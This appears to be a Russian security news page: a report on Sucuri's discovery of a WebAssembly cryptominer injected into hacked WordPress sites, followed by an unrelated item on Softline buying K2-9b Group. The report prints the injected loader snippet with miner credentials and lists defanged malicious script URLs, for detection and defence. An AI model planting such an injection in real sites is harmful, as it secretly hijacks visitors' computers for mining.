Криптоджекеры начали прятать свой код на сайтах с помощью WebAssembly

Криптоджекеры начали прятать свой код на сайтах с помощью WebAssembly

Криптоджекеры начали прятать свой код на сайтах с помощью WebAssembly

Эксперты Sucuri обнаружили необычный JavaScript-майнер, загружаемый на страницы при посещении взломанного сайта. Злоумышленники используют технологию WebAssembly, чтобы ускорить исполнение сценария и осложнить выявление вредоносных инъекций.

Бинарный формат WebAssembly (.wasm), позволяющий выполнять высокопроизводительные приложения на веб-страницах со скоростью, близкой к нативной, в настоящее время поддерживают более 95% установленных браузеров, в том числе Google Chrome, Microsoft Edge, Safari, Firefox и Opera. Код Wasm загружается и запускается из JavaScript и может работать в параллель в той же песочнице, обмениваясь данными с кодом JavaScript.

В Sucuri узнали о нововведении криптоджекеров, когда новый клиент запросил помощи— его компьютер начал сильно тормозить при подключении к персональному сайту WordPress. Беглый просмотр файлов на сайте выявил небольшой фрагмент кода, вставленный в один из файлов темы:

localStorage.setItem('f', 'auto.config({ login: "6110659", pass: "auto" }).power(10);');localStorage.setItem('s', 'hxxps://wm[.]bmwebm[.]org/auto.js');

Каждый раз, когда посетитель заходит на веб-страницу, этот сниппет загружает на стороне клиента скрипт auto.js из домена wm[.]bmwebm[.]org. Содержимое JavaScript-файла оказалось обфусцированным с помощью CharCode; декодирование показало, что это криптомайнер, стартующий при каждом визите на сайт.

Вшитые учетные данные, по всей видимости, используются для доступа к кастомному пулу в том же домене. Особый интерес у исследователей вызвала такая находка, как использование WebAssembly для запуска бинарного кода в среде браузера.

 

Расшифрованный auto.js также содержал инструкции для операций майнинга, которые исполняются в браузере вместе с JavaScript.

Позднее тот же самый криптомайнер был обнаружен на другом взломанном сайте, но уже под именем adservicegoogle.js. Он загружался из того же домена и пытался выдать себя за легитимный скрипт Google Ads.

Домен hxxps://wm[.]bmwebm[.]org/ был зарегистрирован в январе 2021 года, то есть полтора года криптоджекерам удавалось остаться незамеченными. В настоящее время (на 26 июля) их майнер работает на 195 сайтах, в том числе в TLD-зоне RU; по всей видимости, скромный масштаб киберкампании тоже помог злоумышленникам оставаться в тени.

Примечательно, что отдаваемые вредоносные JavaScript-файлы генерируются автоматически — злоумышленники просто меняют имя, добавляемое к домену:

  • hxxps://wm[.]bmwebm[.]org/wordpresscore.js
  • hxxps://wm[.]bmwebm[.]org/common.js
  • hxxps://wm[.]bmwebm[.]org/facebook-sdk.js
  • hxxps://wm[.]bmwebm[.]org/twitter.js
  • hxxps://wm[.]bmwebm[.]org/node.js

Реализованная функциональность также позволяет внедрять скрипты в разные места на зараженном сайте и поддерживать видимость легитимности инъекций.

Эксперты ожидают расширения использования WebAssembly киберкриминалом, несмотря на очевидное ограничение — зависимость от JavaScript. Код Wasm не способен самостоятельно собирать данные, подключаться к интернету и сливать награбленное на сторону. В составе веб-скимера, например, такой компонент может диктовать JavaScript, на каких веб-формах сосредоточиться, какой домен использовать для вывода данных и т. п. 

Использование Wasm, по словам Sucuri, способно затруднить выявление злонамеренных редиректоров, вредоносной рекламы, ложной техподдержки, скриптовых кейлоггеров, скрытых загрузок (drive-by) и других неблаговидных способов использования браузера. В тех случаях, когда браузер содержит уязвимость 0-day, оперирующий Wasm злоумышленник может причинить еще больше вреда — путем использования бинарного кода для эксплойта, и такую функциональность вряд ли обнаружит антивирусный сканер, заточенный под строковый анализ.

На сайтах подобные заражения тоже трудно выявить, если не с чем сравнить (нет бэкапа). Там, где Wasm уже используется в повседневных операциях, задача еще больше усложняется. Предотвратить инфицирование, по мнению экспертов, помогут следующие меры:

  • поддержка всего софта (CMS, плагинов, тем) в актуальном состоянии;
  • усиление защиты сайта и админ-панелей от брутфорса и словарных атак;
  • создание бэкапа и регулярное копирование контента и базы данных, с сохранением резервных копий вне сайта;
  • регулярные проверки целостности содержимого файлов на сайте;
  • использование средств фильтрации трафика прикладного уровня (WAF).
AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

ГК Softline купила контрольный пакет К2-9b Group

Группа компаний Softline приобрела контрольный пакет акций (51%) группы компаний К2-9b Group. 49% остаются в собственности основателей и руководства компании. Сумма сделки составила 400 млн рублей, часть из которых будет выплачена акциями Softline.

Softline также получила право на поэтапную консолидацию всех 100% капитала К2-9b Group в период 2027–2028 годов.

К2-9b Group была основана в 2019 году и специализируется на комплексной системной интеграции и внедрении продуктов в области информационной безопасности. По итогам 2024 года выручка компании может превысить 1 млрд рублей, что значительно выше показателя за 2023 год (600 млн рублей). Согласно прогнозам, в 2025 году оборот компании может вырасти на 40%.

После сделки К2-9b Group станет частью экосистемы «Инферит», в которую входит подразделение «Инферит Безопасность». Основные направления деятельности «Инферит Безопасность» включают разработку защищенной вычислительной техники (ЗАРМ), проведение специальных проверок и исследований, а также аттестацию объектов информатизации.

В Softline уверены, что интеграция К2-9b Group позволит достичь значительного синергетического эффекта с уже существующими решениями компании, особенно в области разработки и внедрения защищенных автоматизированных рабочих мест. Это ускорит масштабирование экосистемных решений Softline в сфере кибербезопасности.

«Объединение с Softline открывает новые возможности для консолидации нашей экспертизы в области защиты конфиденциальных данных с компетенциями группы компаний в сфере информационной безопасности. Мы видим огромный потенциал для развития ИБ-проектов на базе инфраструктурных решений “Инферит”. Уверен, что присоединение к Softline приведет к кратному росту нашего бизнеса», — отметил Михаил Яненко, генеральный директор и основатель К2-9b Group.

По словам управляющего директора «Инферит» Ивана Киреева, информационная безопасность остается одним из наиболее динамично развивающихся сегментов российского ИТ-рынка. В 2024 году его объем достиг 266 млрд рублей, а сегмент ИБ-услуг вырос до 78 млрд рублей с перспективами дальнейшего роста.

«Аппаратные решения, системное программное обеспечение и информационная безопасность — это фундаментальная триада, определяющая развитие вендора “Инферит”. Присоединение К2-9b Group существенно укрепляет экспертизу и компетенции направления информационной безопасности “Инферит” и всей группы компаний Softline», — подчеркнул Иван Киреев.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru